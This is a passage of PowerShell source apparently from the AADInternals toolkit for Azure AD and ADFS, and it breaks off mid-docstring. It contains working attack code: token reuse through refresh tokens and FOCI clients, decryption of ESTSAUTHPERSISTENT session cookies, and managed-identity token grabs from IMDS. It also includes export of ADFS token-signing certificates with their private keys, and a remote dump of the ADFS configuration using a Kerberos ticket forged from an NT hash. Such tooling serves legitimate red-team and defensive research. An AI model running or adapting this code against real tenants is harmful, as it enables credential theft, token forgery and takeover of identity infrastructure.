elseif(![String]::IsNullOrEmpty($BPRT)) # Check if we got a BPRT { # Get token using BPRT $OAuthInfo = @{ "refresh_token" = $BPRT "access_token" = Get-AccessTokenWithRefreshToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2" -TenantId "Common" -RefreshToken $BPRT } $access_token = $OAuthInfo.access_token } else # Authorization code grant flow - can use SAML or interactive prompt { if(![string]::IsNullOrEmpty($SAMLToken)) { # Get token using SAML token $OAuthInfo = Get-OAuthInfoUsingSAML -SAMLToken $SAMLToken -ClientId $ClientId -Resource "https://graph.windows.net" } else { # Prompt for credentials if( $ClientId -eq "d3590ed6-52b3-4102-aeff-aad2292ab01c" <# Office #> -or $ClientId -eq "a0c73c16-a7e3-4564-9a95-2bdf47383716" <# EXO #> -or ($ClientId -eq "29d9ed98-a469-4536-ade2-f981bc1d605e" -and $Resource -eq "https://enrollment.manage.microsoft.com/") <# MDM #> ) { $OAuthInfo = Prompt-Credentials -Resource $Resource -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri } else { $OAuthInfo = Prompt-Credentials -Resource "https://graph.windows.net" -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri } # Just return null if(!$OAuthInfo) { return $null } } # We need to get access token using the refresh token # Save the refresh token and other variables $RefreshToken= $OAuthInfo.refresh_token $ParsedToken= Read-Accesstoken($OAuthInfo.access_token) $tenant_id = $ParsedToken.tid # Save the tokens to cache if($SaveToCache) { Write-Verbose "ACCESS TOKEN: SAVE TO CACHE" Add-AccessTokenToCache -AccessToken $OAuthInfo.access_token -RefreshToken $OAuthInfo.refresh_token -ShowCache $false } # Get the access token from response $access_token = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientId -TenantId $tenant_id -RefreshToken $RefreshToken -SaveToCache $SaveToCache } # Check is this current, new, or deprecated FOCI client IsFOCI -ClientId (Read-Accesstoken -AccessToken $OAuthInfo.access_token).appid -FOCI $OAuthInfo.foci | Out-Null $refresh_token = $OAuthInfo.refresh_token # Check whether we want to get the deviceid and (possibly) mfa in mra claim if(($Certificate -ne $null -and [string]::IsNullOrEmpty($PfxFileName)) -or ($Certificate -eq $null -and [string]::IsNullOrEmpty($PfxFileName) -eq $false)) { try { Write-Verbose "Trying to get new tokens with deviceid claim." $deviceTokens = Set-AccessTokenDeviceAuth -AccessToken $access_token -RefreshToken $refresh_token -Certificate $Certificate -PfxFileName $PfxFileName -PfxPassword $PfxPassword -BPRT $([string]::IsNullOrEmpty($BPRT) -eq $False) -TransportKeyFileName $TransportKeyFileName } catch { Write-Warning "Could not get tokens with deviceid claim: $($_.Exception.Message)" } if($deviceTokens.access_token) { $access_token = $deviceTokens.access_token $refresh_token = $deviceTokens.refresh_token $claims = Read-Accesstoken $access_token Write-Verbose "Tokens updated with deviceid: ""$($claims.deviceid)"" and amr: ""$($claims.amr)""" } } if($SaveToCache -and $OAuthInfo -ne $null -and $access_token -ne $null) { Add-AccessTokenToCache -AccessToken $access_token -RefreshToken $refresh_token -ShowCache $false } if($SaveToMgCache -and $OAuthInfo -ne $null -and $access_token -ne $null) { Write-Verbose "Saving access token to MS Graph SDK cache" # Import the module if needed $MgModule = "Microsoft.Graph.Authentication" if(!(Get-Module -Name $MgModule)) { try { # Import-Module doesn't throw an error, just prints it out. Import-Module -Name $MgModule -ErrorVariable "moduleImportError" -ErrorAction SilentlyContinue } catch { Throw "$MgModule module could not be imported!" } if($moduleImportError) { Throw "$MgModule module could not be imported!" } } # Initialize the graph session [Microsoft.Graph.PowerShell.Authentication.Common.GraphSessionInitializer]::InitializeSession() # Create the AuthContext $authContext = [Microsoft.Graph.PowerShell.Authentication.AuthContext]::new() $authContext.PSHostVersion = (Get-Host).Version $authContext.Environment = "Global" $authContext.AuthType = [Microsoft.Graph.PowerShell.Authentication.AuthenticationType]::UserProvidedAccessToken $authContext.TokenCredentialType = [Microsoft.Graph.PowerShell.Authentication.TokenCredentialType]::UserProvidedAccessToken $authContext.ContextScope = [Microsoft.Graph.PowerShell.Authentication.ContextScope]::Process # Initialize the GraphSession and store the access token $graphSession = [Microsoft.Graph.PowerShell.Authentication.GraphSession]::Instance $graphSession.InMemoryTokenCache = [Microsoft.Graph.PowerShell.Authentication.Core.TokenCache.InMemoryTokenCache]::new([text.encoding]::UTF8.GetBytes($access_token)) $graphSession.AuthContext = $authContext } # Return if([string]::IsNullOrEmpty($access_token)) { Throw "Could not get Access Token!" } # Don't print out token if saved to cache! if($SaveToCache -or $SaveToMgCache) { $pat = Read-Accesstoken -AccessToken $access_token $attributes=[ordered]@{ "Tenant" = $pat.tid "User" = $pat.unique_name "Resource" = $Resource "Client" = $ClientID } Write-Host "AccessToken saved to cache." if($SaveToMgCache) { Write-Host "You may now use MS Graph SDK commands, e.g. Get-MgUser" } return New-Object psobject -Property $attributes } else { if($IncludeRefreshToken) # Include refreshtoken { return @($access_token,$OAuthInfo.refresh_token) } else { return $access_token } } } } # Gets the access token using a refresh token # Jun 8th 2020 function Get-AccessTokenWithRefreshToken { <# .SYNOPSIS Gets OAuth Access Token for the given client and resource using the given refresh token. .DESCRIPTION Gets OAuth Access Token for the given client and resource using the given refresh token. For FOCI refresh tokens, i.e.,Family Refresh Tokens (FRTs), you can use any FOCI client id. .Example PS:\>$tokens=Get-AADIntAccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://graph.microsoft.com" -IncludeRefreshToken $true PS:\>$at=Get-AADIntAccessTokenWithRefreshToken -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -Resource "https://graph.windows.net" -TenantId "company.com" -RefreshToken $tokens[1] #> [cmdletbinding()] Param( [String]$Resource, [Parameter(Mandatory=$True)] [String]$ClientId, [Parameter(Mandatory=$True)] [String]$TenantId, [Parameter(Mandatory=$True)] [String]$RefreshToken, [Parameter(Mandatory=$False)] [bool]$SaveToCache = $false, [Parameter(Mandatory=$False)] [bool]$IncludeRefreshToken = $false ) Process { # Set the body for API call $body = @{ "resource"= $Resource "client_id"= $ClientId "grant_type"= "refresh_token" "refresh_token"= $RefreshToken "scope"= "openid" } if($ClientId -eq "ab9b8c07-8f02-4f72-87fa-80105867a763") # OneDrive Sync Engine { $url = "https://login.windows.net/common/oauth2/token" } else { $url = "https://login.microsoftonline.com/$TenantId/oauth2/token" } # Debug Write-Debug "ACCESS TOKEN BODY: $($body | Out-String)" # Set the content type and call the API $contentType="application/x-www-form-urlencoded" try { $response=Invoke-RestMethod -UseBasicParsing -Uri $url -ContentType $contentType -Method POST -Body $body } catch { $errorMessage = "Unable to get tokens using refresh token" try { $errorDetails = $_.ErrorDetails.Message | ConvertFrom-Json if(-not [string]::IsNullOrEmpty($errorDetails.error_description)) { $errorMessage = $errorDetails.error_description.Split("`n")[0] } } catch {} throw $errorMessage } # Debug Write-Debug "ACCESS TOKEN RESPONSE: $response" # Check is this current, new, or deprecated FOCI client IsFOCI -ClientId (Read-Accesstoken -AccessToken $response.access_token).appid -FOCI $response.foci | Out-Null # Save the tokens to cache if($SaveToCache) { Write-Verbose "ACCESS TOKEN: SAVE TO CACHE" Add-AccessTokenToCache -AccessToken $response.access_token -RefreshToken $response.refresh_token -ShowCache $false } # Return if($IncludeRefreshToken) { return @($response.access_token, $response.refresh_token) } else { return $response.access_token } } } # Gets access token using device code flow # Oct 13th 2020 function Get-AccessTokenUsingDeviceCode { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$ClientId, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [String]$Resource="https://graph.windows.net" ) Process { # Check the tenant if([string]::IsNullOrEmpty($Tenant)) { $Tenant="Common" } # Create a body for the first request $body=@{ "client_id" = $ClientId "resource" = $Resource } # Invoke the request to get device and user codes $authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$tenant/oauth2/devicecode?api-version=1.0" -Body $body Write-Host $authResponse.message $continue = $true $response = $null $interval = $authResponse.interval $expires = $authResponse.expires_in # Create body for authentication subsequent requests $body=@{ "client_id" = $ClientId "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" "code" = $authResponse.device_code "resource" = $Resource } # Loop while pending or until timeout exceeded while($continue) { Start-Sleep -Seconds $interval $total += $interval if($total -gt $expires) { Write-Error "Timeout occurred" return } # Try to get the response. Will give 40x while pending so we need to try&catch try { $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$Tenant/oauth2/token?api-version=1.0 " -Body $body -ErrorAction SilentlyContinue } catch { # This normal flow, always returns 40x unless successful $details=$_.ErrorDetails.Message | ConvertFrom-Json $continue = $details.error -eq "authorization_pending" Write-Verbose $details.error Write-Host "." -NoNewline if(!$continue) { # Not authorization_pending so this is a real error :( Write-Error $details.error_description return } } # If we got response, all okay! if($response) { Write-Host "" return $response } } } } # Gets the access token using an authorization code # Feb 12th 2021 function Get-AccessTokenWithAuthorizationCode { [cmdletbinding()] Param( [String]$Resource, [Parameter(Mandatory=$True)] [String]$ClientId, [Parameter(Mandatory=$True)] [String]$TenantId, [Parameter(Mandatory=$True)] [String]$AuthorizationCode, [Parameter(Mandatory=$False)] [bool]$SaveToCache = $false, [Parameter(Mandatory=$False)] [bool]$IncludeRefreshToken = $false, [Parameter(Mandatory=$False)] [String]$RedirectUri, [Parameter(Mandatory=$False)] [String]$CodeVerifier ) Process { $headers = @{ } # Set the body for API call $body = @{ "resource"= $Resource "client_id"= $ClientId "grant_type"= "authorization_code" "code"= $AuthorizationCode "scope"= "openid profile email" } if(![string]::IsNullOrEmpty($RedirectUri)) { $body["redirect_uri"] = $RedirectUri $headers["Origin"] = $RedirectUri } if(![string]::IsNullOrEmpty($CodeVerifier)) { $body["code_verifier"] = $CodeVerifier $body["code_challenge_method"] = "S256" } if($ClientId -eq "ab9b8c07-8f02-4f72-87fa-80105867a763") # OneDrive Sync Engine { $url = "https://login.windows.net/common/oauth2/token" } else { $url = "https://login.microsoftonline.com/$TenantId/oauth2/token" } # Debug Write-Debug "ACCESS TOKEN BODY: $($body | Out-String)" # Set the content type and call the API $contentType = "application/x-www-form-urlencoded" $response = Invoke-RestMethod -UseBasicParsing -Uri $url -ContentType $contentType -Method POST -Body $body -Headers $headers # Debug Write-Debug "ACCESS TOKEN RESPONSE: $response" # Save the tokens to cache if($SaveToCache) { Write-Verbose "ACCESS TOKEN: SAVE TO CACHE" Add-AccessTokenToCache -AccessToken $response.access_token -RefreshToken $response.refresh_token -ShowCache $false } # Return return $response.access_token } } # Gets the access token using device SAML token # Feb 18th 2021 function Get-AccessTokenWithDeviceSAML { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$SAML, [Parameter(Mandatory=$False)] [bool]$SaveToCache ) Process { $headers = @{ } $ClientId = "1b730954-1685-4b74-9bfd-dac224a7b894" #"dd762716-544d-4aeb-a526-687b73838a22" $Resource = "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" #"urn:ms-drs:enterpriseregistration.windows.net" # Set the body for API call $body = @{ "resource"= $Resource "client_id"= $ClientId "grant_type"= "urn:ietf:params:oauth:grant-type:saml1_1-bearer" "assertion"= Convert-TextToB64 -Text $SAML "scope"= "openid" } # Debug Write-Debug "ACCESS TOKEN BODY: $($body | Out-String)" # Set the content type and call the API $contentType = "application/x-www-form-urlencoded" $response = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType $contentType -Method POST -Body $body -Headers $headers # Debug Write-Debug "ACCESS TOKEN RESPONSE: $response" # Save the tokens to cache if($SaveToCache) { Write-Verbose "ACCESS TOKEN: SAVE TO CACHE" Add-AccessTokenToCache -AccessToken $response.access_token -RefreshToken $response.refresh_token -ShowCache $false } else { # Return return $response.access_token } } } # Logins to SharePoint Online and returns an IdentityToken # TODO: Research whether can be used to get access_token to AADGraph # TODO: Add support for Google? # FIX: Web control stays logged in - clear cookies somehow? # Aug 10th 2018 function Get-IdentityTokenByLiveId { <# .SYNOPSIS Gets identity_token for SharePoint Online for External user .DESCRIPTION Gets identity_token for SharePoint Online for External user using LiveId. .Parameter Tenant The tenant name to login in to WITHOUT .sharepoint.com part .Example PS C:\>$id_token=Get-AADIntIdentityTokenByLiveId -Tenant mytenant #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Tenant ) Process { # Set variables $auth_redirect="https://login.microsoftonline.com/common/federation/oauth2" # When to close the form $url="https://$Tenant.sharepoint.com" # Create the form $form=Create-LoginForm -Url $url -auth_redirect $auth_redirect # Show the form and wait for the return value if($form.ShowDialog() -ne "OK") { Write-Verbose "Login cancelled" return $null } $web=$form.Controls[0] $code=$web.Document.All["code"].GetAttribute("value") $id_token=$web.Document.All["id_token"].GetAttribute("value") $session_state=$web.Document.All["session_state"].GetAttribute("value") return Read-Accesstoken($id_token) } } # Tries to generate access token using cached AADGraph token # Jun 15th 2020 function Get-AccessTokenUsingAADGraph { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Resource, [Parameter(Mandatory=$True)] [String]$ClientId, [switch]$SaveToCache ) Process { # Try to get AAD Graph access token from the cache $AccessToken = Get-AccessTokenFromCache -AccessToken $null -Resource "https://graph.windows.net" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894" # Get the tenant id $tenant = (Read-Accesstoken -AccessToken $AccessToken).tid # Get the refreshtoken $refresh_token = Get-RefreshTokenFromCache -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" if([string]::IsNullOrEmpty($refresh_token)) { Throw "No refreshtoken found! Use Get-AADIntAccessTokenForAADGraph with -SaveToCache switch." } # Create a new AccessToken for Azure AD management portal API $AccessToken = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientId -TenantId $tenant -RefreshToken $refresh_token -SaveToCache $SaveToCache # Return $AccessToken } } # Apr 22th 2022 function Unprotect-EstsAuthPersistentCookie { <# .SYNOPSIS Decrypts and dumps users stored in ESTSAUTHPERSISTENT .DESCRIPTION Decrypts and dumps users stored in ESTSAUTHPERSISTENT using login.microsoftonline.com/forgetUser .Parameter Cookie Value of ESTSAUTHPERSISTENT cookie .Example PS C:\>Unprotect-AADIntEstsAuthPersistentCookie -Cookie 0.ARMAqlCH3MZuvUCNgTAd4B7IRffhvoluXopNnz3s1gEl... name : Some User login : [email protected] imageAAD : work_account.png imageMSA : personal_account.png isLive : False isGuest : False link : [email protected] authUrl : isSigned : True sessionID : 1fb5e6b3-09a4-4ceb-bcad-3d6d0ee89bf7 domainHint : isWindows : False name : Another User login : [email protected] imageAAD : work_account.png imageMSA : personal_account.png isLive : False isGuest : False link : [email protected] authUrl : isSigned : False sessionID : 1fb5e6b3-09a4-4ceb-bcad-3d6d0ee89bf7 domainHint : isWindows : False #> [cmdletbinding()] Param( [Parameter(Mandatory=$True,ValueFromPipeline)] [String]$Cookie ) Process { $session = New-Object Microsoft.PowerShell.Commands.WebRequestSession $session.Cookies.Add((New-Object System.Net.Cookie("ESTSAUTHPERSISTENT", $Cookie, "/", ".login.microsoftonline.com"))) Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/forgetuser?sessionid=$((New-Guid).toString())" -WebSession $session } } # Returns access token using Azure Instance Metadata Service (IMDS) # Nov 8th 2022 function Get-AccessTokenUsingIMDS { <# .SYNOPSIS Gets access token using Azure Instance Metadata Service (IMDS) .DESCRIPTION Gets access token using Azure Instance Metadata Service (IMDS). The ClientId of the token is the (Enterprise) Application ID of the managed identity. .Parameter Resource The App ID URI of the target resource. It also appears in the aud (audience) claim of the issued token. .Parameter ObjectId The ObjectId of the managed identity you would like the token for. Required, if your VM has multiple user-assigned managed identities. .Parameter ClientId The ClientId of the managed identity you would like the token for. Required, if your VM has multiple user-assigned managed identities. .Parameter AzureResourceId The Azure Resource ID of the managed identity you would like the token for. Required, if your VM has multiple user-assigned managed identities. .Example PS C:\>Get-AADIntAccessTokenUsingIMDS -Resource https://management.core.windows.net | Add-AADIntAccessTokenToCache Name : ClientId : 686d728a-2838-458d-9038-2d9808781b9a Audience : https://management.core.windows.net Tenant : ef35ef41-6e54-43f8-bdf0-b89827a3a991 IsExpired : False HasRefreshToken : False AuthMethods : Device : PS C:\>Get-AADIntAzureSubscriptions subscriptionId displayName state -------------- ----------- ----- 233cd967-f2d4-41eb-897a-47ac77c7393d Production Enabled PS C:\>Get-AADIntAzureResourceGroups -SubscriptionId "233cd967-f2d4-41eb-897a-47ac77c7393d" name location tags ---- -------- ---- Production-Norway norwayeast Production-Germany westeurope Production-US-West westus3 Production-Sweden swedencentral Production-US-East eastus #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$Resource, [Parameter(Mandatory=$False)] [String]$ClientId, [Parameter(Mandatory=$False)] [String]$ObjectId, [Parameter(Mandatory=$False)] [String]$AzureResourceId, [Parameter(Mandatory=$False)] [String]$ApiVersion="2018-02-01" ) Process { # Construct the url # Ref: https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/how-to-use-vm-token#get-a-token-using-http $url = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$($ApiVersion)&resource=$($Resource)" if($ClientId) { $url += "&client_id=$ClientId" } if($ObjectId) { $url += "&object_id=$ObjectId" } if($AzureResourceId) { $url += "&msi_res_id=$AzureResourceId" } # Create the header $headers = @{ "Metadata" = "true" } # Invoke the request. Short timeout as this may be a computer not able to access IMDS. $response = Invoke-RestMethod -UseBasicParsing -Uri $url -Method Get -Headers $headers -TimeoutSec 1 # Return $response.access_token } }
ADFS.ps1
AADInternals-0.9.4
# Apr 21st 2021 # Exports ADFS Certificates function Export-ADFSCertificates { <# .SYNOPSIS Exports ADFS certificates .DESCRIPTION Exports current and additional (next) ADFS token signing and encryption certificates to local directory. The exported certificates do not have passwords. .PARAMETER Configuration ADFS configuration (xml) .PARAMETER EncryptionKey Encryption Key from DKM. Can be byte array or hex string .Example PS:\>Export-AADIntADFSCertificates .Example PS:\>$config = Export-AADIntADFSConfiguration -Local PS:\>$key = Export-AADIntADFSEncryptionKey -Local -Configuration $config PS:\>Export-AADIntADFSCertificates -Configuration $config -Key $key #> [cmdletbinding()] Param( [Parameter(Mandatory= $False)] [xml]$Configuration, [Parameter(Mandatory= $False)] [object]$Key ) Process { if(!$Configuration) { $Configuration = Export-ADFSConfiguration -Local if(!$Configuration) { Throw "Error retrieving the configuration." } } if(!$Key) { $Key = Export-ADFSEncryptionKey -Local -Configuration $Configuration if(!$Key) { Throw "Error retrieving the key." } } $certs = [ordered]@{} $certs["signing"] = $Configuration.ServiceSettingsData.SecurityTokenService.SigningToken $certs["encryption"] = $Configuration.ServiceSettingsData.SecurityTokenService.EncryptionToken $cert = $Configuration.ServiceSettingsData.SecurityTokenService.AdditionalSigningTokens.CertificateReference if($cert.FindValue -eq $certs["signing"].FindValue) { Write-Warning "Additional signing certificate is same as the current signing certificate and will not be exported." } else { $certs["signing_additional"] = $cert } $cert = $Configuration.ServiceSettingsData.SecurityTokenService.AdditionalEncryptionTokens.CertificateReference if($cert.FindValue -eq $certs["encryption"].FindValue) { Write-Warning "Additional encryption certificate is same as the current encryption certificate and will not be exported." } else { $certs["encryption_additional"] = $cert } foreach($certName in $certs.Keys) { $cert = $certs[$certName] # If EncryptedPfx.nil equals true, this cert is stored in server's certificate store, not in configuration. if($cert.EncryptedPfx.nil -eq "true") { # Get the certificate Write-Verbose "Getting certificate $($cert.FindValue)" $certPath = "Cert:\$($cert.StoreLocationValue)\$($cert.StoreNameValue)\$($cert.FindValue)" $certificate = Get-Item -Path $certPath if($certificate -eq $null) { Write-Error "Certificate ""$certPath""not found from this computer!" break } $binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert) # Get the private key $keyName = $certificate.PrivateKey.CspKeyContainerInfo.UniqueKeyContainerName Write-Verbose "Private key name: $keyName" $keyPath = "$env:ALLUSERSPROFILE" # CryptoAPI and CNG stores keys in different directories # https://docs.microsoft.com/en-us/windows/win32/seccng/key-storage-and-retrieval $paths = @( "$keyPath\Microsoft\Crypto\RSA\MachineKeys\$keyName" "$keyPath\Microsoft\Crypto\Keys\$keyName" ) foreach($path in $paths) { $keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue if($keyBlob) { Write-Verbose "Key loaded from $path" break } } if(!$keyBlob) { if($joinInfo.KeyName.EndsWith(".PCPKEY")) { # This machine has a TPM Throw "PCP keys are not supported, unable to export private key!" } else { Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again." } return } # Parse the key blob $blobType = [System.BitConverter]::ToInt32($keyBlob,0) switch($blobType) { 1 { $privateKey = Parse-CngBlob -Data $keyBlob -Decrypt } 2 { $privateKey = Parse-CapiBlob -Data $keyBlob -Decrypt } default { throw "Unsupported key blob type" } } $pfx = New-PfxFile -RSAParameters $privateKey.RSAParameters -X509Certificate $binCert } else { Write-Verbose "Decrypting $certName certificate" $encPfxBytes = Convert-B64ToByteArray -B64 $cert.EncryptedPfx # Get the Key Material - some are needed, some not. # Values are Der encoded except cipher text and mac, so the first byte is tag and the second one size of the data. $guid= $encPfxBytes[8..25] # 18 bytes $KDF_oid= $encPfxBytes[26..36] # 11 bytes $MAC_oid= $encPfxBytes[37..47] # 11 bytes $enc_oid= $encPfxBytes[48..58] # 11 bytes $nonce= $encPfxBytes[59..92] # 34 bytes $iv= $encPfxBytes[93..110] # 18 bytes $ciphertext = $encPfxBytes[115..$($encPfxBytes.Length-33)] $cipherMAC = $encPfxBytes[$($encPfxBytes.Length-32)..$($encPfxBytes.Length)] # Create the label $label = $enc_oid + $MAC_oid # Derive the decryption key using (almost) standard NIST SP 800-108. The last bit array should be the size of the key in bits, but MS is using bytes (?) # As the key size is only 16 bytes (128 bits), no need to loop. $hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$key) $hmacOutput = $hmac.ComputeHash( @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $nonce[2..33] + @(0x00,0x00,0x00,0x30) ) $decryptionKey = $hmacOutput[0..15] Write-Verbose " Decryption key: $(Convert-ByteArrayToHex -Bytes $decryptionKey)" # Create a decryptor and decrypt $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES") $Crypto.Mode="CBC" $Crypto.KeySize = 128 $Crypto.BlockSize = 128 $Crypto.Padding = "None" $Crypto.Key = $decryptionKey $Crypto.IV = $iv[2..17] $decryptor = $Crypto.CreateDecryptor() # Create a memory stream and write the cipher text to it through CryptoStream $ms = New-Object System.IO.MemoryStream $cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write) $cs.Write($ciphertext,0,$ciphertext.Count) $cs.Close() $cs.Dispose() # Get the results and export to the file $pfx = $ms.ToArray() $ms.Close() $ms.Dispose() } Set-BinaryContent -Path "ADFS_$certName.pfx" -Value $pfx } } } # Apr 21st 2021 # Exports ADFS configuration from local database or remote server function Export-ADFSConfiguration { <# .SYNOPSIS Exports ADFS configuration from the local or remote ADFS server. .DESCRIPTION Exports ADFS configuration from the local ADFS server (local database) or from remote server (ADFS sync). .PARAMETER Local If provided, exports configuration from the local ADFS server .PARAMETER Hash NTHash of ADFS service user. Can be a byte array or hex string .PARAMETER Server Ip-address or FQDN of the remote ADFS server. .PARAMETER SID Security Identifier (SID) of the user (usually ADFS service user) used to dump remote configuration. Can be a byte array, string, or SID object. .Example $config = Export-AADIntADFSConfiguration -Local .Example Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq sv_ADFS | Format-List Name,ObjectGuid,ObjectSid Name : sv_ADFS ObjectGuid : b6366885-73f0-4239-9cd9-4f44a0a7bc79 ObjectSid : S-1-5-21-2918793985-2280761178-2512057791-1134 PS C:\>$cred = Get-Credential PS C:\>Get-AADIntADUserNTHash -ObjectGuid "b6366885-73f0-4239-9cd9-4f44a0a7bc79" -Credentials $creds -Server dc.company.com -AsHex 6e018b0cd5b37b4fe1e0b7d54a6302b7 PS C:\>$configuration = Export-AADIntADFSConfiguration -Hash "6e018b0cd5b37b4fe1e0b7d54a6302b7" -SID S-1-5-21-2918793985-2280761178-2512057791-1134 -Server sts.company.com #> [cmdletbinding()] Param( [Parameter(ParameterSetName="Local", Mandatory = $True)] [switch]$Local, [Parameter(ParameterSetName="Sync", Mandatory = $True)] [object]$Hash, [Parameter(ParameterSetName="Sync", Mandatory = $True)] [Parameter(ParameterSetName="LoggedInUser", Mandatory = $False)] [String]$Server="localhost", [Parameter(ParameterSetName="Sync", Mandatory = $True)] [object]$SID, [Parameter(ParameterSetName="LoggedInUser", Mandatory = $True)] [switch]$AsLoggedInUser ) Process { if($Local) # Export configuration data from the local ADFS server { # Check that we are on ADFS server $service = Get-Service ADFSSRV -ErrorAction SilentlyContinue if($service -eq $null -or $service.Status -ne "Running") { Write-Error "This command needs to be run on AD FS server and the ADFSSRV service must be running." return $null } # Reference: https://github.com/Microsoft/adfsToolbox/blob/master/serviceAccountModule/Tests/Test.ServiceAccount.ps1#L199-L208 # Get configuration data object using .NET Reflection $adfsProperties = Get-AdfsProperties $configObject = Get-ReflectionProperty -TypeObject $adfsProperties.GetType() -ValueObject $adfsProperties -PropertyName "ServiceSettingsData" # Get the service using WMI to get location $adfsService = Get-WmiObject -Query 'select * from win32_service where name="adfssrv"' $adfsDirectory = (get-item $adfsService.PathName).Directory.FullName # Load Microsoft.IdentityServer.dll $misDll = [IO.File]::ReadAllBytes((Join-Path -Path $adfsDirectory -ChildPath 'Microsoft.IdentityServer.dll')) $misAssembly = [Reflection.Assembly]::Load($misDll) Remove-Variable "misDll" # Load serializer class $serializer = $misAssembly.GetType('Microsoft.IdentityServer.PolicyModel.Configuration.Utility') # Convert the configuration object to xml using .NET Reflection # public static string Serialize(ContractObject obj, bool indent = false) $configuration = Invoke-ReflectionMethod -TypeObject $serializer -Method "Serialize" -Parameters @($configObject,$false) } elseif($AsLoggedInUser) # Read the configuration as the logged in user { $configuration = Export-ADFSConfigurationUsingWCF -Server $Server } else # Read configuration from remote server by emulating ADFS sync { # Check the hash and SID if($Hash -is [array]) { $strHash = Convert-ByteArrayToHex -Bytes ([byte[]]$Hash) Remove-Variable "Hash" $Hash = $strHash } elseif($Hash -isnot [string]) { Throw "Hash must be a byte array or a hexadecimal string" } if($SID -is [array]) { $sidObject = [System.Security.Principal.SecurityIdentifier]::new(([byte[]]$SID),0) Remove-Variable "SID" $SID = $sidObject.toString } elseif($SID -is [System.Security.Principal.SecurityIdentifier]) { $sidObject = $SID Remove-Variable "SID" $SID = $sidObject.toString } elseif($SID -isnot [string]) { Throw "SID must be a System.Security.Principal.SecurityIdentifier, byte array or a hexadecimal string" } Write-Verbose "* Start dumping AD FS configuration from $server`n" # Generate required stuff $sessionKey = (New-Guid).ToByteArray() $params=@{ hash = $Hash SidString = $SID UserName= 'svc_ADFS$' UserDisplayName= "" UserPrincipalName= '[email protected]' ServerName= "DC" DomainName= "COMPANY" Realm= "COMPANY.COM" ServiceTarget = "host/sts.company.com" SessionKey = $sessionKey } $kerberosTicket = New-KerberosTicket @Params $clientSecret = Get-RandomBytes -Bytes 32 Write-Verbose "User NTHASH: $Hash" Write-Verbose "Client secret: $(Convert-ByteArrayToB64 -Bytes $clientSecret)" Write-Verbose "Session key: $(Convert-ByteArrayToB64 -Bytes $sessionKey)`n" Write-Verbose "RST begin" # Request Security Token $envelope = Create-RSTEnvelope -Server $server -KerberosTicket $kerberosTicket [xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml" $RSTR = Parse-RSTR -RSTR $response -Key $sessionKey Write-Verbose "RST end`n" Write-Verbose "SCT begin" # Request Security Context Token $envelope = Create-SCTEnvelope -Key $RSTR.Key -ClientSecret $clientSecret -Context $RSTR.Context -KeyIdentifier $RSTR.Identifier -Server $server try { [xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml" } catch { # Catch the error and try to parse the SOAP document $str=$_.Exception.Response.GetResponseStream() $buf = new-object byte[] $str.Length $str.Position = 0 $str.Read($buf,0,$str.Length) | Out-Null [xml]$response=[text.encoding]::UTF8.GetString($buf) } Check-SoapError -Message $response $CSTR = Parse-SCTR -SCTR $response -Key $RSTR.Key Write-Verbose "SCT end`n" # Get the capabilities #[xml]$response = Invoke-ADFSSoapRequest -Key $CSTR.Key -Context $CSTR.Context -KeyIdentifier $CSTR.Identifier -Server $server -Command Capabilities Write-Verbose "ServiceSettings start" # Get the settings [xml]$response = Invoke-ADFSSoapRequest -Key $CSTR.Key -Context $CSTR.Context -KeyIdentifier $CSTR.Identifier -Server $server -Command ServiceSettings Write-Verbose "ServiceSettings end" $configuration = $response.GetStateResponse.GetStateResult.PropertySets.PropertySet.Property | where Name -eq "ServiceSettingsData" | select -ExpandProperty Values | select -ExpandProperty Value_x007B_0_x007D_ } Write-Verbose "Configuration successfully read ($($configuration.Length) bytes)." return $configuration } } # Apr 21st 2021 # Exports ADFS configuration data encryption key function Export-ADFSEncryptionKey { <# .SYNOPSIS Exports ADFS configuration encryption Key from DKM .DESCRIPTION Exports ADFS configuration encryption Key from the local ADFS server either as a logged-in user or ADFS service account, or remotely using DSR. .PARAMETER Local If provided, exports Key from the local ADFS server 